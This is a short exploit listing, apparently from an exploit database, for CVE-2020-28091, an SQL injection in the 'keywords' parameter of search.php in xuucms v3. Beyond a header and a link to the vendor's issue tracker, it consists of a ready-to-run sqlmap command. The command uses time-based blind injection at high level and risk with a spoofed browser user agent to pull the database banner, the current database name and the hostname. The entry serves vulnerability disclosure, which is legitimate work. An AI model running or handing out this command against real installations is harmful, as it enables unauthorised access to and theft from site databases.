xuucms 3 SQL Injection

`# Exploit Title: xuucms 3 - 'keywords' SQL Injection  
# Date: 2020-11-18  
# Exploit Author: icekam  
# Vendor Homepage: https://www.cxuu.top/  
# Software Link: https://github.com/cbkhwx/cxuucmsv3  
# Version: cxuucms - v3  
# CVE : CVE-2020-28091  
  
SQL injection exists in search.php. For details, please refer to:  
https://github.com/cbkhwx/cxuucmsv3/issues/1  
  
Use SQLMAP authentication:  
sqlmap -u 'http://localhost/search.php?keywords=12345678'  
--dbms='MySQL' --level=3 --risk=3 --technique=T --time-sec=3 -o  
--batch --user-agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121  
Safari/537.36' -b --current-db --hostname  
`